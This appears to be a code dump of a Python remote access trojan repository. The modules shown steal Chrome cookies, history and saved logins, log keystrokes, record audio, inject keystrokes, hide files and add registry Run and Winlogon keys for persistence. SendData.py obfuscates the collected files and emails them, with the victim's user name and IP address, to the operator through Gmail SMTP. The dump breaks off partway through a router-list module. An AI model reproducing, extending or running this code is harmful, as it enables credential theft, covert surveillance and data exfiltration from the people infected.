├── .gitignore ├── Breathe ├── ChangeWallpaper.py ├── CookieStealer.py ├── DirectoryTree.py ├── RadiumKeylogger.py ├── RecAudio.py ├── SendData.py ├── __init__.py ├── add_to_registry.py ├── check_external_drive.py ├── cloak.py ├── hideme.py ├── httpServer.py ├── insertkeystrokes.py ├── makeRouterList.py ├── modify_file_names.py ├── modify_timestamp.py ├── portmap.py ├── router_check.py ├── set_email_template.py └── window_title.py ├── Echoes ├── Coreftp.py ├── Filezilla.py ├── Mozilla.py ├── Run.py ├── __init__.py ├── chrome.py ├── constant.py ├── cyberduck.py ├── dotnet.py ├── ftpnavigator.py ├── network.py ├── outlook.py ├── putty.py ├── skype.py └── winscp.py ├── LICENSE ├── README.md ├── _config.yml └── eclipse.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | 106 | .DS_Store 107 | .idea 108 | -------------------------------------------------------------------------------- /Breathe/ChangeWallpaper.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import urllib 4 | import ctypes 5 | 6 | SPI_SETDESKWALLPAPER = 20 7 | # wallpaper_save_path = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\CandC\wallpaper\\' 8 | SAVE_FILES = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\CandC' 9 | CACHE_PATH = SAVE_FILES + "\\Cache\\" 10 | 11 | class ChangeWallpaper(): 12 | def __init__(self): 13 | pass 14 | 15 | def downloadWallpaper(self, url): 16 | print '[*] Inside change wallpaper' 17 | image_name = CACHE_PATH + url.rsplit('/', 1)[1] 18 | try: 19 | f = open(image_name, 'wb') 20 | f.write(urllib.urlopen(url).read()) 21 | f.close() 22 | time.sleep(5) 23 | self.background(image_name) 24 | print '[*] Wallpaper changed' 25 | except Exception as e: 26 | print '==> Error in changing wallpaper' 27 | print e 28 | 29 | def background(self, path): 30 | try: 31 | time.sleep(1) 32 | ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, str(path), 0) 33 | except Exception as e: 34 | print e 35 | 36 | # wallpaper = changewallpaper.ChangeWallpaper() 37 | # wallpaper.downloadWallpaper(img_url) -------------------------------------------------------------------------------- /Breathe/CookieStealer.py: -------------------------------------------------------------------------------- 1 | import os 2 | import shutil 3 | 4 | SAVE_FILES = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\CandC' 5 | USERDATA_PATH = SAVE_FILES + "\\User Data\\" 6 | CHROME_COOKIE_PATH = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\Google\Chrome\User Data\Default' 7 | 8 | class CookieStealer(): 9 | 10 | def __init__(self): 11 | pass 12 | 13 | def stealer(self): 14 | 15 | 16 | cookiefile = CHROME_COOKIE_PATH + "\\Cookies" 17 | historyfile = CHROME_COOKIE_PATH + "\\History" 18 | LoginDatafile = CHROME_COOKIE_PATH + "\\Login Data" 19 | 20 | filesindir = os.listdir(USERDATA_PATH) 21 | 22 | try: 23 | print '[*] Copying cookies to path' 24 | if cookiefile not in filesindir: 25 | shutil.copy2(cookiefile, USERDATA_PATH) 26 | if historyfile not in filesindir: 27 | shutil.copy2(historyfile, USERDATA_PATH) 28 | if LoginDatafile not in filesindir: 29 | shutil.copy2(LoginDatafile, USERDATA_PATH) 30 | print '[*] Files copied' 31 | return True 32 | except Exception as e: 33 | print '[*] Error in copying cookies' 34 | print e 35 | return False 36 | 37 | 38 | def zipAttachments(self): 39 | print '[*] Zipping attachments' 40 | arch_name = USERDATA_PATH + "CHL" 41 | files = ["Cookies", "History", "Login Data"] 42 | try: 43 | shutil.make_archive(arch_name, 'zip', USERDATA_PATH) 44 | print '[*] Attachments zipped' 45 | except Exception as e: 46 | print '==> Error in making archive' 47 | print e 48 | for file in files: 49 | try: 50 | os.remove(USERDATA_PATH + file) 51 | except Exception as e: 52 | print e 53 | 54 | 55 | def run(self): 56 | self.stealer() 57 | self.zipAttachments() 58 | 59 | 60 | # a = CookieStealer() 61 | # a.run() 62 | # a.zipattachments() -------------------------------------------------------------------------------- /Breathe/DirectoryTree.py: -------------------------------------------------------------------------------- 1 | import os 2 | import win32api 3 | 4 | SAVE_FILES = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\CandC' 5 | USERDATA_PATH = SAVE_FILES + "\\User Data\\" 6 | 7 | class Directory(): 8 | 9 | def __init__(self): 10 | pass 11 | 12 | 13 | def get_list_drives(self): 14 | print '[*] Getting list of available drives' 15 | drives = win32api.GetLogicalDriveStrings() 16 | drives = drives.split('\000')[:-1] 17 | print '[*] Returning list of drives' 18 | return drives 19 | 20 | 21 | def DriveTree(self): 22 | print '[*] Making directory tree' 23 | drives = self.get_list_drives() 24 | file_name = USERDATA_PATH + 'DirectoryTree.txt' 25 | no_of_drives = len(drives) 26 | file_dir_O = open(file_name, "w") 27 | 28 | for d in range(no_of_drives): 29 | try: 30 | file_dir_O.write(str(drives[d]) + "\n") 31 | directories = os.walk(drives[d]) 32 | next_dir = next(directories) 33 | 34 | next_directories = next_dir[1] 35 | next_files = next_dir[2] 36 | 37 | next_final_dir = next_directories + next_files 38 | 39 | for nd in next_final_dir: 40 | file_dir_O.write(" " + str(nd) + "\n") 41 | try: 42 | sub_directories = os.walk(drives[d] + nd) 43 | 44 | next_sub_dir = next(sub_directories)[1] 45 | next_sub_sub_file = next(sub_directories)[2] 46 | 47 | next_final_final_dir = next_sub_dir + next_sub_sub_file 48 | 49 | for nsd in next_final_final_dir: 50 | file_dir_O.write(" " + str(nsd) + "\n") 51 | 52 | try: 53 | sub_sub_directories = os.walk(drives[d] + nd + '\\' + nsd) 54 | 55 | next_sub_sub_dir = next(sub_sub_directories)[1] 56 | next_sub_sub_sub_file = next(sub_sub_directories)[2] 57 | 58 | next_final_final_final_dir = next_sub_sub_dir + next_sub_sub_sub_file 59 | 60 | for nssd in next_final_final_final_dir: 61 | file_dir_O.write(" " + str(nssd) + "\n") 62 | except Exception as e: 63 | pass 64 | 65 | except Exception as e: 66 | # print '==> Error in making directory tree' 67 | print e 68 | except Exception as e: 69 | pass 70 | 71 | file_dir_O.close() 72 | print '[*] Directory tree generated succesfully' 73 | return True 74 | 75 | 76 | def run(self): 77 | self.DriveTree() 78 | -------------------------------------------------------------------------------- /Breathe/RadiumKeylogger.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pyHook 3 | import threading 4 | import win32api 5 | import win32gui 6 | import datetime 7 | import pythoncom 8 | import ctypes 9 | 10 | buffer = '' 11 | window = '' 12 | save_keystroke = None 13 | current_active_window = '' 14 | current_system_time = datetime.datetime.now() 15 | 16 | SAVE_FILES = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\CandC' 17 | USERDATA_PATH = SAVE_FILES + "\\User Data\\" 18 | 19 | class Keylogger: 20 | 21 | def __init__(self): 22 | pass 23 | 24 | def OnKeyboardEvent(self,event): 25 | global buffer 26 | global window 27 | global save_keystroke 28 | global current_active_window 29 | 30 | save_keystroke = open(USERDATA_PATH + "keylog.txt", 'a') 31 | 32 | new_active_window = current_active_window 33 | current_active_window = win32gui.GetWindowText(win32gui.GetForegroundWindow()) 34 | 35 | if new_active_window != current_active_window: 36 | window = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + current_active_window 37 | save_keystroke.write(str(window)+'\n') 38 | window = '' 39 | 40 | if event.Ascii == 13: 41 | buffer = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + buffer 42 | save_keystroke.write(buffer+ '\n') 43 | buffer = '' 44 | elif event.Ascii == 8: 45 | buffer = buffer[:-1] 46 | elif event.Ascii == 9: 47 | keys = '\t' 48 | buffer = buffer + keys 49 | elif event.Ascii >= 32 and event.Ascii <= 127: 50 | keys = chr(event.Ascii) 51 | buffer = buffer + keys 52 | return True 53 | 54 | 55 | def hookslaunch(): 56 | print '[*] Starting keylogger' 57 | a = Keylogger() 58 | hooks_manager = pyHook.HookManager() 59 | hooks_manager.KeyDown = a.OnKeyboardEvent 60 | hooks_manager.HookKeyboard() 61 | pythoncom.PumpMessages() 62 | 63 | 64 | -------------------------------------------------------------------------------- /Breathe/RecAudio.py: -------------------------------------------------------------------------------- 1 | import pyaudio 2 | import wave 3 | 4 | CHUNK = 1024 5 | FORMAT = pyaudio.paInt16 6 | CHANNELS = 2 7 | RATE = 44100 8 | # RECORD_SECONDS = 30 9 | WAVE_OUTPUT_FILENAME = "output.wav" 10 | 11 | 12 | class RecordAudio(): 13 | def __init__(self): 14 | pass 15 | 16 | def start(self,RECORD_SECONDS): 17 | try: 18 | print '[*] Recording audio' 19 | p = pyaudio.PyAudio() 20 | 21 | stream = p.open(format=FORMAT, 22 | channels=CHANNELS, 23 | rate=RATE, 24 | input=True, 25 | frames_per_buffer=CHUNK) 26 | 27 | frames = [] 28 | 29 | for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)): 30 | data = stream.read(CHUNK) 31 | frames.append(data) 32 | 33 | stream.stop_stream() 34 | stream.close() 35 | p.terminate() 36 | 37 | wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb') 38 | wf.setnchannels(CHANNELS) 39 | wf.setsampwidth(p.get_sample_size(FORMAT)) 40 | wf.setframerate(RATE) 41 | wf.writeframes(b''.join(frames)) 42 | wf.close() 43 | print '[*] Audio recorded' 44 | return True 45 | except Exception as e: 46 | print '==> Error in recording audio' 47 | print e 48 | return False 49 | 50 | # b= Audio_Record() 51 | # b.start(10) -------------------------------------------------------------------------------- /Breathe/SendData.py: -------------------------------------------------------------------------------- 1 | import os 2 | import base64 3 | import cloak 4 | import socket 5 | import getpass 6 | import smtplib 7 | import datetime 8 | from email import Encoders 9 | from email.MIMEBase import MIMEBase 10 | from email.MIMEText import MIMEText 11 | from email.MIMEMultipart import MIMEMultipart 12 | 13 | #--------------------------------------------------------- 14 | passkey = '' # gmail password 15 | userkey = '' # gmail username 16 | #--------------------------------------------------------- 17 | 18 | curentuser = getpass.getuser() 19 | 20 | try: 21 | ip_address = socket.gethostbyname(socket.gethostname()) 22 | except: 23 | pass 24 | 25 | class EmailData(): 26 | 27 | def __init__(self): 28 | pass 29 | 30 | def sendData(self, fname, fext): 31 | attach = fname + fext 32 | print '[*] Sending data %s ' %(attach) 33 | self.obfusdata(attach) 34 | attach = attach + '.dsotm' 35 | ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S") 36 | SERVER = "smtp.gmail.com" 37 | PORT = 465 38 | USER = userkey 39 | PASS = passkey 40 | FROM = USER 41 | TO = userkey 42 | SUBJECT = "Attachment " + "From --> " + curentuser + " Time --> " + str(ts) 43 | TEXT = "There's someone in my head, but it's not me." + '\n\nUSER : ' + curentuser + '\nIP address : ' + ip_address 44 | 45 | message = MIMEMultipart() 46 | message['From'] = FROM 47 | message['To'] = TO 48 | message['Subject'] = SUBJECT 49 | message.attach(MIMEText(TEXT)) 50 | 51 | part = MIMEBase('application', 'octet-stream') 52 | part.set_payload(open(attach, 'rb').read()) 53 | Encoders.encode_base64(part) 54 | part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach)) 55 | message.attach(part) 56 | 57 | try: 58 | server = smtplib.SMTP_SSL() 59 | server.connect(SERVER, PORT) 60 | server.ehlo() 61 | server.login(USER, PASS) 62 | server.sendmail(FROM, TO, message.as_string()) 63 | server.close() 64 | except Exception as e: 65 | error_code = str(e).split('(')[1].split(',')[0] 66 | print e 67 | if error_code == '535': 68 | print e 69 | 70 | return True 71 | 72 | def obfusdata(self, data): 73 | ob = cloak.Cloaking() 74 | ob.run(data, data+'.dsotm') 75 | 76 | -------------------------------------------------------------------------------- /Breathe/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mehulj94/BrainDamage/49a29c2606d5f7c0d9705ae5f4201a6bb25cfe73/Breathe/__init__.py -------------------------------------------------------------------------------- /Breathe/add_to_registry.py: -------------------------------------------------------------------------------- 1 | import os 2 | from _winreg import * 3 | 4 | HCU_RUN = r"Software\Microsoft\Windows\CurrentVersion\Run" 5 | HLM_WL = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 6 | HLM_SF = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" 7 | HLM_USF = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" 8 | 9 | def addRegistery(new_file_path): 10 | try: 11 | print '[*] Adding keys to the registry' 12 | addkey_HCU_RUN = OpenKey(HKEY_CURRENT_USER, HCU_RUN, 0, KEY_ALL_ACCESS) 13 | addkey_HLM_WL = OpenKey(HKEY_CURRENT_USER, HLM_WL, 0, KEY_ALL_ACCESS) 14 | addkey_HLM_SF = OpenKey(HKEY_CURRENT_USER, HLM_SF, 0, KEY_ALL_ACCESS) 15 | addkey_HLM_USF = OpenKey(HKEY_CURRENT_USER, HLM_USF, 0, KEY_ALL_ACCESS) 16 | 17 | SetValueEx(addkey_HCU_RUN, "RUCB", 0, REG_SZ, new_file_path) 18 | SetValueEx(addkey_HLM_WL, "RUCB", 0, REG_SZ, new_file_path) 19 | SetValueEx(addkey_HLM_SF, "RUCB", 0, REG_SZ, new_file_path) 20 | SetValueEx(addkey_HLM_USF, "RUCB", 0, REG_SZ, new_file_path) 21 | 22 | CloseKey(addkey_HCU_RUN) 23 | CloseKey(addkey_HLM_WL) 24 | CloseKey(addkey_HLM_SF) 25 | CloseKey(addkey_HLM_USF) 26 | print '[*] Keys Added' 27 | except Exception as e: 28 | print '==> Error in add_to_registry function' 29 | print e 30 | 31 | def deleteRegistery(): 32 | try: 33 | print '[*] Removed keys to the registry' 34 | addkey_HCU_RUN = OpenKey(HKEY_CURRENT_USER, HCU_RUN, 0, KEY_ALL_ACCESS) 35 | addkey_HLM_WL = OpenKey(HKEY_CURRENT_USER, HLM_WL, 0, KEY_ALL_ACCESS) 36 | addkey_HLM_SF = OpenKey(HKEY_CURRENT_USER, HLM_SF, 0, KEY_ALL_ACCESS) 37 | addkey_HLM_USF = OpenKey(HKEY_CURRENT_USER, HLM_USF, 0, KEY_ALL_ACCESS) 38 | 39 | DeleteValue(addkey_HCU_RUN, "RUCB") 40 | DeleteValue(addkey_HLM_WL, "RUCB") 41 | DeleteValue(addkey_HLM_SF, "RUCB") 42 | DeleteValue(addkey_HLM_USF, "RUCB") 43 | 44 | CloseKey(addkey_HCU_RUN) 45 | CloseKey(addkey_HLM_WL) 46 | CloseKey(addkey_HLM_SF) 47 | CloseKey(addkey_HLM_USF) 48 | print '[*] Keys removed' 49 | print '==> Error in add_to_registry function' 50 | except Exception as e: 51 | print e -------------------------------------------------------------------------------- /Breathe/check_external_drive.py: -------------------------------------------------------------------------------- 1 | import win32api, win32con, win32gui 2 | from ctypes import * 3 | import os 4 | 5 | # 6 | # Device change events (WM_DEVICECHANGE wParam) 7 | # 8 | DBT_DEVICEARRIVAL = 0x8000 9 | DBT_DEVICEQUERYREMOVE = 0x8001 10 | DBT_DEVICEQUERYREMOVEFAILED = 0x8002 11 | DBT_DEVICEMOVEPENDING = 0x8003 12 | DBT_DEVICEREMOVECOMPLETE = 0x8004 13 | DBT_DEVICETYPESSPECIFIC = 0x8005 14 | DBT_CONFIGCHANGED = 0x0018 15 | 16 | # 17 | # type of device in DEV_BROADCAST_HDR 18 | # 19 | DBT_DEVTYP_OEM = 0x00000000 20 | DBT_DEVTYP_DEVNODE = 0x00000001 21 | DBT_DEVTYP_VOLUME = 0x00000002 22 | DBT_DEVTYPE_PORT = 0x00000003 23 | DBT_DEVTYPE_NET = 0x00000004 24 | 25 | # 26 | # media types in DBT_DEVTYP_VOLUME 27 | # 28 | DBTF_MEDIA = 0x0001 29 | DBTF_NET = 0x0002 30 | 31 | WORD = c_ushort 32 | DWORD = c_ulong 33 | 34 | DRIVE = "" 35 | FLAG = False 36 | 37 | class DEV_BROADCAST_HDR (Structure): 38 | _fields_ = [ 39 | ("dbch_size", DWORD), 40 | ("dbch_devicetype", DWORD), 41 | ("dbch_reserved", DWORD) 42 | ] 43 | 44 | class DEV_BROADCAST_VOLUME (Structure): 45 | _fields_ = [ 46 | ("dbcv_size", DWORD), 47 | ("dbcv_devicetype", DWORD), 48 | ("dbcv_reserved", DWORD), 49 | ("dbcv_unitmask", DWORD), 50 | ("dbcv_flags", WORD) 51 | ] 52 | 53 | def drive_from_mask (mask): 54 | n_drive = 0 55 | while 1: 56 | if (mask & (2 ** n_drive)): return n_drive 57 | else: n_drive += 1 58 | 59 | def write_drive_name (dname): 60 | config_file = open(os.path.join(PATH,FILE),'a') 61 | config_file.write("External Drive Found: %s\n" % dname) 62 | config_file.close() 63 | 64 | class Notification: 65 | 66 | def __init__(self): 67 | message_map = { 68 | win32con.WM_DEVICECHANGE : self.onDeviceChange 69 | } 70 | 71 | wc = win32gui.WNDCLASS () 72 | hinst = wc.hInstance = win32api.GetModuleHandle (None) 73 | wc.lpszClassName = "DeviceChangeDemo" 74 | wc.style = win32con.CS_VREDRAW | win32con.CS_HREDRAW; 75 | wc.hCursor = win32gui.LoadCursor (0, win32con.IDC_ARROW) 76 | wc.hbrBackground = win32con.COLOR_WINDOW 77 | wc.lpfnWndProc = message_map 78 | classAtom = win32gui.RegisterClass (wc) 79 | style = win32con.WS_OVERLAPPED | win32con.WS_SYSMENU 80 | self.hwnd = win32gui.CreateWindow ( 81 | classAtom, 82 | "Device Change Demo", 83 | style, 84 | 0, 0, 85 | win32con.CW_USEDEFAULT, win32con.CW_USEDEFAULT, 86 | 0, 0, 87 | hinst, None 88 | ) 89 | 90 | def onDeviceChange (self, hwnd, msg, wparam, lparam): 91 | global DRIVE 92 | global FLAG 93 | dev_broadcast_hdr = DEV_BROADCAST_HDR.from_address (lparam) 94 | 95 | if wparam == DBT_DEVICEARRIVAL: 96 | if dev_broadcast_hdr.dbch_devicetype == DBT_DEVTYP_VOLUME: 97 | dev_broadcast_volume = DEV_BROADCAST_VOLUME.from_address (lparam) 98 | drive_letter = drive_from_mask (dev_broadcast_volume.dbcv_unitmask) 99 | DRIVE = chr (ord ("A") + drive_letter) 100 | print "[*] Drive Found: ", DRIVE + ":\\" 101 | FLAG = True 102 | win32gui.PostQuitMessage(0) 103 | #win32gui.PostQuitMessage(0) 104 | return 1 -------------------------------------------------------------------------------- /Breathe/cloak.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import zlib 4 | 5 | from optparse import OptionError 6 | from optparse import OptionParser 7 | 8 | class Cloaking(): 9 | 10 | def __init__(self): 11 | pass 12 | 13 | def hideAscii(self, data): 14 | retVal = "" 15 | for i in xrange(len(data)): 16 | if ord(data[i]) < 128: 17 | retVal += chr(ord(data[i]) ^ 127) 18 | else: 19 | retVal += data[i] 20 | 21 | return retVal 22 | 23 | def obfs(self, inputFile=None, data=None): 24 | if data is None: 25 | with open(inputFile, "rb") as f: 26 | data = f.read() 27 | 28 | return self.hideAscii(zlib.compress(data)) 29 | 30 | def deobfs(self, inputFile=None, data=None): 31 | if data is None: 32 | with open(inputFile, "rb") as f: 33 | data = f.read() 34 | try: 35 | data = zlib.decompress(self.hideAscii(data)) 36 | except: 37 | print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile 38 | sys.exit(1) 39 | finally: 40 | f.close() 41 | 42 | return data 43 | 44 | def run(self, inputF, outputF): 45 | 46 | inputFile = inputF 47 | outputFile = outputF 48 | 49 | data = self.obfs(inputFile) 50 | 51 | f = open(outputFile, 'wb') 52 | f.write(data) 53 | f.close() 54 | -------------------------------------------------------------------------------- /Breathe/hideme.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | FILE_ATTRIBUTE_HIDDEN = 0x02 3 | 4 | def hideFiles(folderPath): 5 | print '[*] Hiding files' 6 | try: 7 | ctypes.windll.kernel32.SetFileAttributesW.argtypes = (ctypes.c_wchar_p, ctypes.c_uint32) 8 | ret = ctypes.windll.kernel32.SetFileAttributesW(folderPath.encode('string-escape'), FILE_ATTRIBUTE_HIDDEN) 9 | if ret: 10 | print '[*] Folder is set to Hidden' 11 | else: # return code of zero indicates failure, raise Windows error 12 | raise ctypes.WinError() 13 | except Exception as e: 14 | print '[*] Error in hiding files' 15 | print e 16 | -------------------------------------------------------------------------------- /Breathe/httpServer.py: -------------------------------------------------------------------------------- 1 | import os 2 | import threading 3 | import SimpleHTTPServer 4 | import SocketServer 5 | 6 | # Default path 7 | path = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\CandC\Server' 8 | port = 777 9 | SERVER_SHUTDOWN = False 10 | 11 | class SimpleServer(): 12 | def __init__(self): 13 | pass 14 | 15 | def runServer(self, path, port): 16 | global SERVER_SHUTDOWN 17 | print '[*] Starting HTTP server' 18 | 19 | os.chdir(path) 20 | Handler = SimpleHTTPServer.SimpleHTTPRequestHandler 21 | httpd = SocketServer.TCPServer(("", port), Handler) 22 | print "[*] Serving at port: ", port 23 | httpd.serve_forever() 24 | 25 | def stopServer(self): 26 | print "[*] Shutting down server..." 27 | self.httpd.shutdown() 28 | 29 | # server = SimpleServer() 30 | # server.runServer(path, port) 31 | -------------------------------------------------------------------------------- /Breathe/insertkeystrokes.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | from ctypes import wintypes 3 | import time 4 | import sys 5 | 6 | user32 = ctypes.WinDLL('user32', use_last_error=True) 7 | 8 | INPUT_MOUSE = 0 9 | INPUT_KEYBOARD = 1 10 | INPUT_HARDWARE = 2 11 | 12 | KEYEVENTF_EXTENDEDKEY = 0x0001 13 | KEYEVENTF_KEYUP = 0x0002 14 | KEYEVENTF_UNICODE = 0x0004 15 | KEYEVENTF_SCANCODE = 0x0008 16 | 17 | MAPVK_VK_TO_VSC = 0 18 | 19 | # msdn.microsoft.com/en-us/library/dd375731 20 | 21 | dict_keystrokes = { 22 | ' ' : 0x20, 23 | 'END' : 0x23, 24 | 'HOME' : 0x24, 25 | '\t' : 0x09, 26 | 'SHIFT' : 0x10, 27 | 'CTRL' : 0x11, 28 | 'ALT' : 0x12, 29 | 'CAPS' : 0x14, 30 | '0' : 0x30, 31 | '1' : 0x31, 32 | '2' : 0x32, 33 | '3' : 0x33, 34 | '4' : 0x34, 35 | '5' : 0x35, 36 | '6' : 0x36, 37 | '7' : 0x37, 38 | '8' : 0x38, 39 | '9' : 0x39, 40 | 'A' : 0x41, 41 | 'B' : 0x42, 42 | 'C' : 0x43, 43 | 'D' : 0x44, 44 | 'E' : 0x45, 45 | 'F' : 0x46, 46 | 'G' : 0x47, 47 | 'H' : 0x48, 48 | 'I' : 0x49, 49 | 'J' : 0x4A, 50 | 'K' : 0x4B, 51 | 'L' : 0x4C, 52 | 'M' : 0x4D, 53 | 'N' : 0x4E, 54 | 'O' : 0x4F, 55 | 'P' : 0x50, 56 | 'Q' : 0x51, 57 | 'R' : 0x52, 58 | 'S' : 0x53, 59 | 'T' : 0x54, 60 | 'U' : 0x55, 61 | 'V' : 0x56, 62 | 'W' : 0x57, 63 | 'X' : 0x58, 64 | 'Y' : 0x59, 65 | 'Z' : 0x5A, 66 | 'MUTE' : 0xAD, 67 | 'DELETE' : 0x2E, 68 | } 69 | 70 | # C struct definitions 71 | wintypes.ULONG_PTR = wintypes.WPARAM 72 | 73 | class MOUSEINPUT(ctypes.Structure): 74 | _fields_ = (("dx", wintypes.LONG), 75 | ("dy", wintypes.LONG), 76 | ("mouseData", wintypes.DWORD), 77 | ("dwFlags", wintypes.DWORD), 78 | ("time", wintypes.DWORD), 79 | ("dwExtraInfo", wintypes.ULONG_PTR)) 80 | 81 | class KEYBDINPUT(ctypes.Structure): 82 | _fields_ = (("wVk", wintypes.WORD), 83 | ("wScan", wintypes.WORD), 84 | ("dwFlags", wintypes.DWORD), 85 | ("time", wintypes.DWORD), 86 | ("dwExtraInfo", wintypes.ULONG_PTR)) 87 | 88 | def __init__(self, *args, **kwds): 89 | super(KEYBDINPUT, self).__init__(*args, **kwds) 90 | # some programs use the scan code even if KEYEVENTF_SCANCODE 91 | # isn't set in dwFflags, so attempt to map the correct code. 92 | if not self.dwFlags & KEYEVENTF_UNICODE: 93 | self.wScan = user32.MapVirtualKeyExW(self.wVk, 94 | MAPVK_VK_TO_VSC, 0) 95 | 96 | class HARDWAREINPUT(ctypes.Structure): 97 | _fields_ = (("uMsg", wintypes.DWORD), 98 | ("wParamL", wintypes.WORD), 99 | ("wParamH", wintypes.WORD)) 100 | 101 | class INPUT(ctypes.Structure): 102 | class _INPUT(ctypes.Union): 103 | _fields_ = (("ki", KEYBDINPUT), 104 | ("mi", MOUSEINPUT), 105 | ("hi", HARDWAREINPUT)) 106 | _anonymous_ = ("_input",) 107 | _fields_ = (("type", wintypes.DWORD), 108 | ("_input", _INPUT)) 109 | 110 | LPINPUT = ctypes.POINTER(INPUT) 111 | 112 | def _check_count(result, func, args): 113 | if result == 0: 114 | raise ctypes.WinError(ctypes.get_last_error()) 115 | return args 116 | 117 | user32.SendInput.errcheck = _check_count 118 | user32.SendInput.argtypes = (wintypes.UINT, # nInputs 119 | LPINPUT, # pInputs 120 | ctypes.c_int) # cbSize 121 | 122 | # Functions 123 | 124 | def PressKey(hexKeyCode): 125 | x = INPUT(type=INPUT_KEYBOARD, 126 | ki=KEYBDINPUT(wVk=hexKeyCode)) 127 | user32.SendInput(1, ctypes.byref(x), ctypes.sizeof(x)) 128 | 129 | def ReleaseKey(hexKeyCode): 130 | x = INPUT(type=INPUT_KEYBOARD, 131 | ki=KEYBDINPUT(wVk=hexKeyCode, 132 | dwFlags=KEYEVENTF_KEYUP)) 133 | user32.SendInput(1, ctypes.byref(x), ctypes.sizeof(x)) 134 | 135 | def AltTab(): 136 | print '[*] Inserting Keystrokes' 137 | PressKey(dict_keystrokes['ALT']) 138 | PressKey(dict_keystrokes['\t']) 139 | time.sleep(0.01) 140 | ReleaseKey(dict_keystrokes['\t']) 141 | ReleaseKey(dict_keystrokes['ALT']) 142 | time.sleep(0.01) 143 | 144 | def cursorStart(): 145 | print '[*] Inserting Keystrokes' 146 | PressKey(dict_keystrokes['CTRL']) 147 | PressKey(dict_keystrokes['HOME']) 148 | time.sleep(0.01) 149 | ReleaseKey(dict_keystrokes['HOME']) 150 | ReleaseKey(dict_keystrokes['CTRL']) 151 | time.sleep(0.01) 152 | 153 | def cursorEnd(): 154 | print '[*] Inserting Keystrokes' 155 | PressKey(dict_keystrokes['CTRL']) 156 | PressKey(dict_keystrokes['END']) 157 | time.sleep(0.01) 158 | ReleaseKey(dict_keystrokes['END']) 159 | ReleaseKey(dict_keystrokes['CTRL']) 160 | time.sleep(0.01) 161 | 162 | def SendKeystrokes(keystrokes): 163 | print '[*] Inserting Keystrokes' 164 | keystrokes = list(keystrokes) 165 | for letter in keystrokes: 166 | try: 167 | PressKey(dict_keystrokes[letter.upper()]) 168 | time.sleep(0.007) 169 | ReleaseKey(dict_keystrokes[letter.upper()]) 170 | except: 171 | pass 172 | -------------------------------------------------------------------------------- /Breathe/makeRouterList.py: -------------------------------------------------------------------------------- 1 | import os 2 | rl = '''2wire 3 | 3com 4 | asmax 5 | asus 6 | belkin 7 | bhu 8 | billion 9 | cisco 10 | cisco 11 | comtrend 12 | dlink 13 | fortinet 14 | grandstream 15 | huawei 16 | ipfire 17 | juniper 18 | linksys 19 | multi 20 | netcore 21 | netgear 22 | netsys 23 | shuttle 24 | technicolor 25 | thomson 26 | tplink 27 | ubiquiti 28 | zte 29 | AirLive 30 | D-Link 31 | Huawei 32 | Pentagram 33 | TP-Link 34 | ZynOS 35 | ZyXEL 36 | Quantum 37 | Array Networks 38 | Array 39 | Barracuda 40 | Ceragon 41 | DASDEC 42 | Vagrant 43 | LevelOne 44 | Diamond 45 | SerComm 46 | Azmoon 47 | cyberoam''' 48 | SAVE_FILES = os.environ.get('HOMEDRIVE') + 